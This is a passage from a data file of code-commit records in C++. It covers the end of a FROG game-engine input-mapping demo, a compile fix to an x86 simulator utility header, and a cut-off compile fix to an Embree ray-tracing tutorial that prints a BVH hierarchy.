Trigger::PRESSED);\n  auto resize_x_plus = Resize::create(obj, 0.009, 0);\n  auto resize_x_minus = Resize::create(obj, -0.009, 0);\n  auto resize_y_plus = Resize::create(obj, 0, 0.009);\n  auto resize_y_minus = Resize::create(obj, 0, -0.009);\n  auto move_x_plus = Move::create(obj, 1, 0);\n  auto move_x_minus = Move::create(obj, -1, 0);\n  auto move_y_plus = Move::create(obj, 0, 1);\n  auto move_y_minus = Move::create(obj, 0, -1);\n  auto rot_right = Rotate::create(obj, 1);\n  auto rot_left = Rotate::create(obj, -1);\n  auto changemode = Function::create( [this](){\n      mode = (mode == 2) ? 0 : mode+1;\n      changeMap();\n    });\n  mapping_move->emplace(z_key, move_y_minus);\n  mapping_move->emplace(q_key, move_x_minus);\n  mapping_move->emplace(s_key, move_y_plus);\n  mapping_move->emplace(d_key, move_x_plus);\n  mapping_resize->emplace(z_key, resize_y_plus);\n  mapping_resize->emplace(q_key, resize_x_minus);\n  mapping_resize->emplace(s_key, resize_y_minus);\n  mapping_resize->emplace(d_key, resize_x_plus);\n  mapping_rotate->emplace(e_key, rot_right);\n  mapping_rotate->emplace(a_key, rot_left);\n  auto ctrl = obj->getComponent<ControlComponent>(\"CONTROL\");\n  ctrl->bind(space_key, changemode, 0);\n}\n\nvoid MainState::changeMap()\n{\n  auto ctrl = obj->getComponent<ControlComponent>(\"CONTROL\");\n  std::cout << \"change mode to \";\n  switch(mode)\n    {\n    case 1:\n      ctrl->changeMap(*mapping_resize, 1);\n      std::cout << \"RESIZE : Z,Q,S,D\";\n      break;\n    case 2:\n      ctrl->changeMap(*mapping_rotate, 1);\n      std::cout << \"ROTATE : A,E\";\n      break;\n    default:\n      ctrl->changeMap(*mapping_move, 1);\n      std::cout << \"MOVE : Z,Q,S,D\";\n      break;\n    }\n  std::cout << std::endl;\n}\n\n\n\n\nint main()\n{\n  frog::App demo(\"FROG - Colliders demo\");\n  demo.start( new MainState( demo.appInfo ) );\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2007 The Hewlett-Packard Development Company\n * All rights reserved.\n *\n * Redistribution and use of this software in source and binary forms,\n * with or without modification, are permitted provided that the\n * following conditions are met:\n *\n * The software must be used only for Non-Commercial Use which means any\n * use which is NOT directed to receiving any direct monetary\n * compensation for, or commercial advantage from such use.  Illustrative\n * examples of non-commercial use are academic research, personal study,\n * teaching, education and corporate research & development.\n * Illustrative examples of commercial use are distributing products for\n * commercial advantage and providing services using the software for\n * commercial advantage.\n *\n * If you wish to use this software or functionality therein that may be\n * covered by patents for commercial use, please contact:\n *     Director of Intellectual Property Licensing\n *     Office of Strategy and Technology\n *     Hewlett-Packard Company\n *     1501 Page Mill Road\n *     Palo Alto, California  94304\n *\n * Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.  Redistributions\n * in binary form must reproduce the above copyright notice, this list of\n * conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.  Neither the name of\n * the COPYRIGHT HOLDER(s), HEWLETT-PACKARD COMPANY, nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.  No right of\n * sublicense is granted herewith.  Derivatives of the software and\n * output created using the software may be prepared, but only for\n * Non-Commercial Uses.  Derivatives of the software may be shared with\n * others provided: (i) the others agree to abide by the list of\n * conditions herein which includes the Non-Commercial Use restrictions;\n * and (ii) such Derivatives of the software include the above copyright\n * notice to acknowledge the contribution from this software where\n * applicable, this list of conditions and the disclaimer below.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Gabe Black\n *\/\n\n#ifndef __ARCH_X86_UTILITY_HH__\n#define __ARCH_X86_UTILITY_HH__\n\n#include \"arch\/x86\/types.hh\"\n#include \"base\/hashmap.hh\"\n#include \"base\/misc.hh\"\n#include \"sim\/host.hh\"\n\nclass ThreadContext;\n\nnamespace __hash_namespace {\n    template<>\n    struct hash<X86ISA::ExtMachInst> {\n        size_t operator()(const X86ISA::ExtMachInst &emi) const {\n            \/\/Because these are all the same, return 0\n            return 0;\n        };\n    };\n}\n\nnamespace X86ISA\n{\n    static inline bool\n    inUserMode(ThreadContext *tc)\n    {\n        return false;\n    }\n\n    inline bool isCallerSaveIntegerRegister(unsigned int reg) {\n        panic(\"register classification not implemented\");\n        return false;\n    }\n\n    inline bool isCalleeSaveIntegerRegister(unsigned int reg) {\n        panic(\"register classification not implemented\");\n        return false;\n    }\n\n    inline bool isCallerSaveFloatRegister(unsigned int reg) {\n        panic(\"register classification not implemented\");\n        return false;\n    }\n\n    inline bool isCalleeSaveFloatRegister(unsigned int reg) {\n        panic(\"register classification not implemented\");\n        return false;\n    }\n\n    \/\/ Instruction address compression hooks\n    inline Addr realPCToFetchPC(const Addr &addr)\n    {\n        return addr;\n    }\n\n    inline Addr fetchPCToRealPC(const Addr &addr)\n    {\n        return addr;\n    }\n\n    \/\/ the size of \"fetched\" instructions (not necessarily the size\n    \/\/ of real instructions for PISA)\n    inline size_t fetchInstSize()\n    {\n        return sizeof(MachInst);\n    }\n\n    \/**\n     * Function to insure ISA semantics about 0 registers.\n     * @param tc The thread context.\n     *\/\n    template <class TC>\n    void zeroRegisters(TC *tc);\n\n    inline void initCPU(ThreadContext *tc, int cpuId)\n    {\n        panic(\"initCPU not implemented!\\n\");\n    }\n\n    inline void startupCPU(ThreadContext *tc, int cpuId)\n    {\n        tc->activate(0);\n    }\n};\n\n#endif \/\/ __ARCH_X86_UTILITY_HH__\n<commit_msg>Compile fix<commit_after>\/*\n * Copyright (c) 2007 The Hewlett-Packard Development Company\n * All rights reserved.\n *\n * Redistribution and use of this software in source and binary forms,\n * with or without modification, are permitted provided that the\n * following conditions are met:\n *\n * The software must be used only for Non-Commercial Use which means any\n * use which is NOT directed to receiving any direct monetary\n * compensation for, or commercial advantage from such use.  Illustrative\n * examples of non-commercial use are academic research, personal study,\n * teaching, education and corporate research & development.\n * Illustrative examples of commercial use are distributing products for\n * commercial advantage and providing services using the software for\n * commercial advantage.\n *\n * If you wish to use this software or functionality therein that may be\n * covered by patents for commercial use, please contact:\n *     Director of Intellectual Property Licensing\n *     Office of Strategy and Technology\n *     Hewlett-Packard Company\n *     1501 Page Mill Road\n *     Palo Alto, California  94304\n *\n * Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.  Redistributions\n * in binary form must reproduce the above copyright notice, this list of\n * conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.  Neither the name of\n * the COPYRIGHT HOLDER(s), HEWLETT-PACKARD COMPANY, nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.  No right of\n * sublicense is granted herewith.  Derivatives of the software and\n * output created using the software may be prepared, but only for\n * Non-Commercial Uses.  Derivatives of the software may be shared with\n * others provided: (i) the others agree to abide by the list of\n * conditions herein which includes the Non-Commercial Use restrictions;\n * and (ii) such Derivatives of the software include the above copyright\n * notice to acknowledge the contribution from this software where\n * applicable, this list of conditions and the disclaimer below.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n * Authors: Gabe Black\n *\/\n\n#ifndef __ARCH_X86_UTILITY_HH__\n#define __ARCH_X86_UTILITY_HH__\n\n#include \"arch\/x86\/types.hh\"\n#include \"base\/hashmap.hh\"\n#include \"base\/misc.hh\"\n#include \"cpu\/thread_context.hh\"\n#include \"sim\/host.hh\"\n\nclass ThreadContext;\n\nnamespace __hash_namespace {\n    template<>\n    struct hash<X86ISA::ExtMachInst> {\n        size_t operator()(const X86ISA::ExtMachInst &emi) const {\n            \/\/Because these are all the same, return 0\n            return 0;\n        };\n    };\n}\n\nnamespace X86ISA\n{\n    static inline bool\n    inUserMode(ThreadContext *tc)\n    {\n        return false;\n    }\n\n    inline bool isCallerSaveIntegerRegister(unsigned int reg) {\n        panic(\"register classification not implemented\");\n        return false;\n    }\n\n    inline bool isCalleeSaveIntegerRegister(unsigned int reg) {\n        panic(\"register classification not implemented\");\n        return false;\n    }\n\n    inline bool isCallerSaveFloatRegister(unsigned int reg) {\n        panic(\"register classification not implemented\");\n        return false;\n    }\n\n    inline bool isCalleeSaveFloatRegister(unsigned int reg) {\n        panic(\"register classification not implemented\");\n        return false;\n    }\n\n    \/\/ Instruction address compression hooks\n    inline Addr realPCToFetchPC(const Addr &addr)\n    {\n        return addr;\n    }\n\n    inline Addr fetchPCToRealPC(const Addr &addr)\n    {\n        return addr;\n    }\n\n    \/\/ the size of \"fetched\" instructions (not necessarily the size\n    \/\/ of real instructions for PISA)\n    inline size_t fetchInstSize()\n    {\n        return sizeof(MachInst);\n    }\n\n    \/**\n     * Function to insure ISA semantics about 0 registers.\n     * @param tc The thread context.\n     *\/\n    template <class TC>\n    void zeroRegisters(TC *tc);\n\n    inline void initCPU(ThreadContext *tc, int cpuId)\n    {\n        panic(\"initCPU not implemented!\\n\");\n    }\n\n    inline void startupCPU(ThreadContext *tc, int cpuId)\n    {\n        tc->activate(0);\n    }\n};\n\n#endif \/\/ __ARCH_X86_UTILITY_HH__\n<|endoftext|>"}
{"text":"<commit_before>\/\/ ======================================================================== \/\/\n\/\/ Copyright 2009-2017 Intel Corporation                                    \/\/\n\/\/                                                                          \/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");          \/\/\n\/\/ you may not use this file except in compliance with the License.         \/\/\n\/\/ You may obtain a copy of the License at                                  \/\/\n\/\/                                                                          \/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                           \/\/\n\/\/                                                                          \/\/\n\/\/ Unless required by applicable law or agreed to in writing, software      \/\/\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,        \/\/\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \/\/\n\/\/ See the License for the specific language governing permissions and      \/\/\n\/\/ limitations under the License.                                           \/\/\n\/\/ ======================================================================== \/\/\n\n#include \"..\/common\/tutorial\/tutorial.h\"\n#include \"..\/common\/tutorial\/tutorial_device.h\"\n#include \"..\/..\/include\/embree2\/rtcore.h\"\n#include \"..\/..\/kernels\/bvh\/bvh.h\"\n#include \"..\/..\/kernels\/geometry\/trianglev.h\"\n\nnamespace embree\n{\n  \/* Visual Studio 2012 link error workaround *\/\n  PrecomputedBezierBasis bezier_basis0;\n  PrecomputedBezierBasis bezier_basis1;\n\n  \/* error reporting function *\/\n  void error_handler(void* userPtr, const RTCError code, const char* str)\n  {\n    if (code == RTC_NO_ERROR) \n      return;\n    \n    printf(\"Embree: \");\n    switch (code) {\n    case RTC_UNKNOWN_ERROR    : printf(\"RTC_UNKNOWN_ERROR\"); break;\n    case RTC_INVALID_ARGUMENT : printf(\"RTC_INVALID_ARGUMENT\"); break;\n    case RTC_INVALID_OPERATION: printf(\"RTC_INVALID_OPERATION\"); break;\n    case RTC_OUT_OF_MEMORY    : printf(\"RTC_OUT_OF_MEMORY\"); break;\n    case RTC_UNSUPPORTED_CPU  : printf(\"RTC_UNSUPPORTED_CPU\"); break;\n    case RTC_CANCELLED        : printf(\"RTC_CANCELLED\"); break;\n    default                   : printf(\"invalid error code\"); break;\n    }\n    if (str) { \n      printf(\" (\"); \n      while (*str) putchar(*str++); \n      printf(\")\\n\"); \n    }\n    exit(1);\n  }\n\n  \/* adds a cube to the scene *\/\n  unsigned int addCube (RTCScene scene_i, const Vec3fa& pos)\n  {\n    \/* create a triangulated cube with 12 triangles and 8 vertices *\/\n    unsigned int mesh = rtcNewTriangleMesh (scene_i, RTC_GEOMETRY_STATIC, 12, 8);\n    \n    \/* set vertices *\/\n    Vec3fa* vertices = (Vec3fa*) rtcMapBuffer(scene_i,mesh,RTC_VERTEX_BUFFER); \n    vertices[0].x = pos.x + -1; vertices[0].y = pos.y + -1; vertices[0].z = pos.z + -1; \n    vertices[1].x = pos.x + -1; vertices[1].y = pos.y + -1; vertices[1].z = pos.z + +1; \n    vertices[2].x = pos.x + -1; vertices[2].y = pos.y + +1; vertices[2].z = pos.z + -1; \n    vertices[3].x = pos.x + -1; vertices[3].y = pos.y + +1; vertices[3].z = pos.z + +1; \n    vertices[4].x = pos.x + +1; vertices[4].y = pos.y + -1; vertices[4].z = pos.z + -1; \n    vertices[5].x = pos.x + +1; vertices[5].y = pos.y + -1; vertices[5].z = pos.z + +1; \n    vertices[6].x = pos.x + +1; vertices[6].y = pos.y + +1; vertices[6].z = pos.z + -1; \n    vertices[7].x = pos.x + +1; vertices[7].y = pos.y + +1; vertices[7].z = pos.z + +1; \n    rtcUnmapBuffer(scene_i,mesh,RTC_VERTEX_BUFFER); \n    \n    \/* set triangles *\/\n    int tri = 0;\n    Triangle* triangles = (Triangle*) rtcMapBuffer(scene_i,mesh,RTC_INDEX_BUFFER);\n    \n    \/\/ left side\n    triangles[tri].v0 = 0; triangles[tri].v1 = 2; triangles[tri].v2 = 1; tri++;\n    triangles[tri].v0 = 1; triangles[tri].v1 = 2; triangles[tri].v2 = 3; tri++;\n    \n    \/\/ right side\n    triangles[tri].v0 = 4; triangles[tri].v1 = 5; triangles[tri].v2 = 6; tri++;\n    triangles[tri].v0 = 5; triangles[tri].v1 = 7; triangles[tri].v2 = 6; tri++;\n    \n    \/\/ bottom side\n    triangles[tri].v0 = 0; triangles[tri].v1 = 1; triangles[tri].v2 = 4; tri++;\n    triangles[tri].v0 = 1; triangles[tri].v1 = 5; triangles[tri].v2 = 4; tri++;\n    \n    \/\/ top side\n    triangles[tri].v0 = 2; triangles[tri].v1 = 6; triangles[tri].v2 = 3; tri++;\n    triangles[tri].v0 = 3; triangles[tri].v1 = 6; triangles[tri].v2 = 7; tri++;\n    \n    \/\/ front side\n    triangles[tri].v0 = 0; triangles[tri].v1 = 4; triangles[tri].v2 = 2; tri++;\n    triangles[tri].v0 = 2; triangles[tri].v1 = 4; triangles[tri].v2 = 6; tri++;\n    \n    \/\/ back side\n    triangles[tri].v0 = 1; triangles[tri].v1 = 3; triangles[tri].v2 = 5; tri++;\n    triangles[tri].v0 = 3; triangles[tri].v1 = 7; triangles[tri].v2 = 5; tri++;\n    \n    rtcUnmapBuffer(scene_i,mesh,RTC_INDEX_BUFFER);\n    \n    return mesh;\n  }\n\n  \/* adds a ground plane to the scene *\/\n  unsigned int addGroundPlane (RTCScene scene_i)\n  {\n    \/* create a triangulated plane with 2 triangles and 4 vertices *\/\n    unsigned int mesh = rtcNewTriangleMesh (scene_i, RTC_GEOMETRY_STATIC, 2, 4);\n    \n    \/* set vertices *\/\n    Vec3fa* vertices = (Vec3fa*) rtcMapBuffer(scene_i,mesh,RTC_VERTEX_BUFFER); \n    vertices[0].x = -10; vertices[0].y = -2; vertices[0].z = -10; \n    vertices[1].x = -10; vertices[1].y = -2; vertices[1].z = +10; \n    vertices[2].x = +10; vertices[2].y = -2; vertices[2].z = -10; \n    vertices[3].x = +10; vertices[3].y = -2; vertices[3].z = +10;\n    rtcUnmapBuffer(scene_i,mesh,RTC_VERTEX_BUFFER); \n    \n    \/* set triangles *\/\n    Triangle* triangles = (Triangle*) rtcMapBuffer(scene_i,mesh,RTC_INDEX_BUFFER);\n    triangles[0].v0 = 0; triangles[0].v1 = 2; triangles[0].v2 = 1;\n    triangles[1].v0 = 1; triangles[1].v1 = 2; triangles[1].v2 = 3;\n    rtcUnmapBuffer(scene_i,mesh,RTC_INDEX_BUFFER);\n    \n    return mesh;\n  }\n\n  \/* adds a hair to the scene *\/\n  unsigned int addHair(RTCScene scene_i)\n  {\n    unsigned int geomID = rtcNewHairGeometry (scene_i, RTC_GEOMETRY_STATIC, 1, 4, 1);\n\n    vfloat4* pos = (vfloat4*) rtcMapBuffer(scene_i,geomID,RTC_VERTEX_BUFFER);\n    pos[0] = vfloat4(0.0f,0.0f,0.0f,0.1f);\n    pos[1] = vfloat4(0.0f,1.0f,0.0f,0.1f);\n    pos[2] = vfloat4(0.0f,2.0f,0.0f,0.1f);\n    pos[3] = vfloat4(0.0f,3.0f,0.0f,0.1f);\n    rtcUnmapBuffer(scene_i,geomID,RTC_VERTEX_BUFFER);\n\n    int* index = (int*) rtcMapBuffer(scene_i,geomID,RTC_INDEX_BUFFER);\n    index[0] = 0;\n    rtcUnmapBuffer(scene_i,geomID,RTC_INDEX_BUFFER);\n    \n    return geomID;\n  }\n\n  \/* prints the bvh4.triangle4v data structure *\/\n  void print_bvh4_triangle4v(BVH4::NodeRef node, size_t depth)\n  {\n    if (node.isAlignedNode())\n    {\n      BVH4::AlignedNode* n = node.alignedNode();\n      \n      std::cout << \"AlignedNode {\" << std::endl;\n      for (size_t i=0; i<4; i++)\n      {\n        for (size_t k=0; k<depth; k++) std::cout << \"  \";\n        std::cout << \"  bounds\" << i << \" = \" << n->bounds(i) << std::endl;\n      }\n\n      for (size_t i=0; i<4; i++)\n      {\n        if (n->child(i) == BVH4::emptyNode)\n          continue;\n\n        for (size_t k=0; k<depth; k++) std::cout << \"  \";\n        std::cout << \"  child\" << i << \" = \";\n        print_bvh4_triangle4v(n->child(i),depth+1); \n      }\n      for (size_t k=0; k<depth; k++) std::cout << \"  \";\n      std::cout << \"}\" << std::endl;\n    }\n    else\n    {\n      size_t num; \n      const Triangle4v* tri = (const Triangle4v*) node.leaf(num);\n\n      std::cout << \"Leaf {\" << std::endl;\n      for (size_t i=0; i<num; i++) {\n        for (size_t j=0; j<tri[i].size(); j++) {\n          for (size_t k=0; k<depth; k++) std::cout << \"  \";\n          std::cout << \"  Triangle { v0 = (\" << tri[i].v0.x[j] << \", \" << tri[i].v0.y[j] << \", \" << tri[i].v0.z[j] << \"),  \"\n            \"v1 = (\" << tri[i].v1.x[j] << \", \" << tri[i].v1.y[j] << \", \" << tri[i].v1.z[j] << \"), \"\n            \"v2 = (\" << tri[i].v2.x[j] << \", \" << tri[i].v2.y[j] << \", \" << tri[i].v2.z[j] << \"), \"\n            \"geomID = \" << tri[i].geomID(j) << \", primID = \" << tri[i].primID(j) << \" }\" << std::endl;\n        }\n      }\n      for (size_t k=0; k<depth; k++) std::cout << \"  \";\n      std::cout << \"}\" << std::endl;\n    }\n  }\n\n  \/* prints the triangle BVH of a scene *\/\n  void print_bvh(RTCScene scene)\n  {\n    BVH4* bvh4 = nullptr; \n\n    \/* if the scene contains only triangles, the BVH4 acceleration structure can be obtained this way *\/\n    AccelData* accel = ((Accel*)scene)->intersectors.ptr;\n    if (accel->type == AccelData::TY_BVH4) \n      bvh4 = (BVH4*)accel;\n\n    \/* if there are also other geometry types, one has to iterate over the toplevel AccelN structure *\/\n    else if (accel->type == AccelData::TY_ACCELN)\n    {\n      AccelN* accelN = (AccelN*)(accel);\n      for (size_t i=0; i<accelN->accels.size(); i++) {\n        if (accelN->accels[i]->intersectors.ptr->type == AccelData::TY_BVH4) {\n          bvh4 = (BVH4*)accelN->accels[i]->intersectors.ptr;\n          if (bvh4->primTy.name == \"triangle4v\") break;\n          bvh4 = nullptr;\n        }\n      }\n    }\n    if (bvh4 == nullptr)\n      throw std::runtime_error(\"cannot access BVH4 acceleration structure\"); \/\/ will not happen if you use this Embree version\n      \n    \/* now lets print the entire hierarchy *\/\n    print_bvh4_triangle4v(bvh4->root,0);\n  }\n\n  \/* main function in embree namespace *\/\n  int main(int argc, char** argv) \n  {\n    \/* for best performance set FTZ and DAZ flags in MXCSR control and status register *\/\n    _MM_SET_FLUSH_ZERO_MODE(_MM_FLUSH_ZERO_ON);\n    _MM_SET_DENORMALS_ZERO_MODE(_MM_DENORMALS_ZERO_ON);\n\n    \/* create new Embree device and force bvh4.triangle4v hierarchy for triangles *\/\n    RTCDevice device = rtcNewDevice(\"tri_accel=bvh4.triangle4v\");\n    error_handler(nullptr,rtcDeviceGetError(device));\n    \n    \/* set error handler *\/\n    rtcDeviceSetErrorFunction2(device,error_handler,nullptr);\n    \n    \/* create scene *\/\n    RTCScene scene = rtcDeviceNewScene(device,RTC_SCENE_STATIC,RTC_INTERSECT1);\n    addCube(scene,Vec3fa(-1,0,0));\n    addCube(scene,Vec3fa(1,0,0));\n    addCube(scene,Vec3fa(0,0,-1));\n    addCube(scene,Vec3fa(0,0,1));\n    addHair(scene);\n    addGroundPlane(scene);\n    rtcCommit (scene);\n    \/* print triangle BVH *\/\n    print_bvh(scene);\n\n    \/* cleanup *\/\n    rtcDeleteScene (scene);\n    rtcDeleteDevice(device);\n    return 0;\n  }\n}\n\nint main(int argc, char** argv)\n{\n  try {\n    return embree::main(argc, argv);\n  }\n  catch (const std::exception& e) {\n    std::cout << \"Error: \" << e.what() << std::endl;\n    return 1;\n  }\n  catch (...) {\n    std::cout << \"Error: unknown exception caught.\" << std::endl;\n    return 1;\n  }\n}\n<commit_msg>compile fix for V110<commit_after>\/\/ ======================================================================== \/\/\n\/\/ Copyright 2009-2017 Intel Corporation                                    \/\/\n\/\/                                                                          \/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");          \/\/\n\/\/ you may not use this file except in compliance with the License.         \/\/\n\/\/ You may obtain a copy of the License at                                  \/\/\n\/\/                                                                          \/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0                           \/\/\n\/\/                                                                          \/\/\n\/\/ Unless required by applicable law or agreed to in writing, software      \/\/\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,        \/\/\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \/\/\n\/\/ See the License for the specific language governing permissions and      \/\/\n\/\/ limitations under the License.                                           \/\/\n\/\/ ======================================================================== \/\/\n\n#include \"..\/common\/tutorial\/tutorial.h\"\n#include \"..\/common\/tutorial\/tutorial_device.h\"\n#include \"..\/..\/include\/embree2\/rtcore.h\"\n#include \"..\/..\/kernels\/bvh\/bvh.h\"\n#include \"..\/..\/kernels\/geometry\/trianglev.h\"\n\nnamespace embree\n{\n  \/* Visual Studio 2012 link error workaround *\/\n  PrecomputedBezierBasis bezier_basis0;\n  PrecomputedBezierBasis bezier_basis1;\n  PrecomputedBSplineBasis bspline_basis0;\n  PrecomputedBSplineBasis bspline_basis1;\n\n  \/* error reporting function *\/\n  void error_handler(void* userPtr, const RTCError code, const char* str)\n  {\n    if (code == RTC_NO_ERROR) \n      return;\n    \n    printf(\"Embree: \");\n    switch (code) {\n    case RTC_UNKNOWN_ERROR    : printf(\"RTC_UNKNOWN_ERROR\"); break;\n    case RTC_INVALID_ARGUMENT : printf(\"RTC_INVALID_ARGUMENT\"); break;\n    case RTC_INVALID_OPERATION: printf(\"RTC_INVALID_OPERATION\"); break;\n    case RTC_OUT_OF_MEMORY    : printf(\"RTC_OUT_OF_MEMORY\"); break;\n    case RTC_UNSUPPORTED_CPU  : printf(\"RTC_UNSUPPORTED_CPU\"); break;\n    case RTC_CANCELLED        : printf(\"RTC_CANCELLED\"); break;\n    default                   : printf(\"invalid error code\"); break;\n    }\n    if (str) { \n      printf(\" (\"); \n      while (*str) putchar(*str++); \n      printf(\")\\n\"); \n    }\n    exit(1);\n  }\n\n  \/* adds a cube to the scene *\/\n  unsigned int addCube (RTCScene scene_i, const Vec3fa& pos)\n  {\n    \/* create a triangulated cube with 12 triangles and 8 vertices *\/\n    unsigned int mesh = rtcNewTriangleMesh (scene_i, RTC_GEOMETRY_STATIC, 12, 8);\n    \n    \/* set vertices *\/\n    Vec3fa* vertices = (Vec3fa*) rtcMapBuffer(scene_i,mesh,RTC_VERTEX_BUFFER); \n    vertices[0].x = pos.x + -1; vertices[0].y = pos.y + -1; vertices[0].z = pos.z + -1; \n    vertices[1].x = pos.x + -1; vertices[1].y = pos.y + -1; vertices[1].z = pos.z + +1; \n    vertices[2].x = pos.x + -1; vertices[2].y = pos.y + +1; vertices[2].z = pos.z + -1; \n    vertices[3].x = pos.x + -1; vertices[3].y = pos.y + +1; vertices[3].z = pos.z + +1; \n    vertices[4].x = pos.x + +1; vertices[4].y = pos.y + -1; vertices[4].z = pos.z + -1; \n    vertices[5].x = pos.x + +1; vertices[5].y = pos.y + -1; vertices[5].z = pos.z + +1; \n    vertices[6].x = pos.x + +1; vertices[6].y = pos.y + +1; vertices[6].z = pos.z + -1; \n    vertices[7].x = pos.x + +1; vertices[7].y = pos.y + +1; vertices[7].z = pos.z + +1; \n    rtcUnmapBuffer(scene_i,mesh,RTC_VERTEX_BUFFER); \n    \n    \/* set triangles *\/\n    int tri = 0;\n    Triangle* triangles = (Triangle*) rtcMapBuffer(scene_i,mesh,RTC_INDEX_BUFFER);\n    \n    \/\/ left side\n    triangles[tri].v0 = 0; triangles[tri].v1 = 2; triangles[tri].v2 = 1; tri++;\n    triangles[tri].v0 = 1; triangles[tri].v1 = 2; triangles[tri].v2 = 3; tri++;\n    \n    \/\/ right side\n    triangles[tri].v0 = 4; triangles[tri].v1 = 5; triangles[tri].v2 = 6; tri++;\n    triangles[tri].v0 = 5; triangles[tri].v1 = 7; triangles[tri].v2 = 6; tri++;\n    \n    \/\/ bottom side\n    triangles[tri].v0 = 0; triangles[tri].v1 = 1; triangles[tri].v2 = 4; tri++;\n    triangles[tri].v0 = 1; triangles[tri].v1 = 5; triangles[tri].v2 = 4; tri++;\n    \n    \/\/ top side\n    triangles[tri].v0 = 2; triangles[tri].v1 = 6; triangles[tri].v2 = 3; tri++;\n    triangles[tri].v0 = 3; triangles[tri].v1 = 6; triangles[tri].v2 = 7; tri++;\n    \n    \/\/ front side\n    triangles[tri].v0 = 0; triangles[tri].v1 = 4; triangles[tri].v2 = 2; tri++;\n    triangles[tri].v0 = 2; triangles[tri].v1 = 4; triangles[tri].v2 = 6; tri++;\n    \n    \/\/ back side\n    triangles[tri].v0 = 1; triangles[tri].v1 = 3; triangles[tri].v2 = 5; tri++;\n    triangles[tri].v0 = 3; triangles[tri].v1 = 7; triangles[tri].v2 = 5; tri++;\n    \n    rtcUnmapBuffer(scene_i,mesh,RTC_INDEX_BUFFER);\n    \n    return mesh;\n  }\n\n  \/* adds a ground plane to the scene *\/\n  unsigned int addGroundPlane (RTCScene scene_i)\n  {\n    \/* create a triangulated plane with 2 triangles and 4 vertices *\/\n    unsigned int mesh = rtcNewTriangleMesh (scene_i, RTC_GEOMETRY_STATIC, 2, 4);\n    \n    \/* set vertices *\/\n    Vec3fa* vertices = (Vec3fa*) rtcMapBuffer(scene_i,mesh,RTC_VERTEX_BUFFER); \n    vertices[0].x = -10; vertices[0].y = -2; vertices[0].z = -10; \n    vertices[1].x = -10; vertices[1].y = -2; vertices[1].z = +10; \n    vertices[2].x = +10; vertices[2].y = -2; vertices[2].z = -10; \n    vertices[3].x = +10; vertices[3].y = -2; vertices[3].z = +10;\n    rtcUnmapBuffer(scene_i,mesh,RTC_VERTEX_BUFFER); \n    \n    \/* set triangles *\/\n    Triangle* triangles = (Triangle*) rtcMapBuffer(scene_i,mesh,RTC_INDEX_BUFFER);\n    triangles[0].v0 = 0; triangles[0].v1 = 2; triangles[0].v2 = 1;\n    triangles[1].v0 = 1; triangles[1].v1 = 2; triangles[1].v2 = 3;\n    rtcUnmapBuffer(scene_i,mesh,RTC_INDEX_BUFFER);\n    \n    return mesh;\n  }\n\n  \/* adds a hair to the scene *\/\n  unsigned int addHair(RTCScene scene_i)\n  {\n    unsigned int geomID = rtcNewHairGeometry (scene_i, RTC_GEOMETRY_STATIC, 1, 4, 1);\n\n    vfloat4* pos = (vfloat4*) rtcMapBuffer(scene_i,geomID,RTC_VERTEX_BUFFER);\n    pos[0] = vfloat4(0.0f,0.0f,0.0f,0.1f);\n    pos[1] = vfloat4(0.0f,1.0f,0.0f,0.1f);\n    pos[2] = vfloat4(0.0f,2.0f,0.0f,0.1f);\n    pos[3] = vfloat4(0.0f,3.0f,0.0f,0.1f);\n    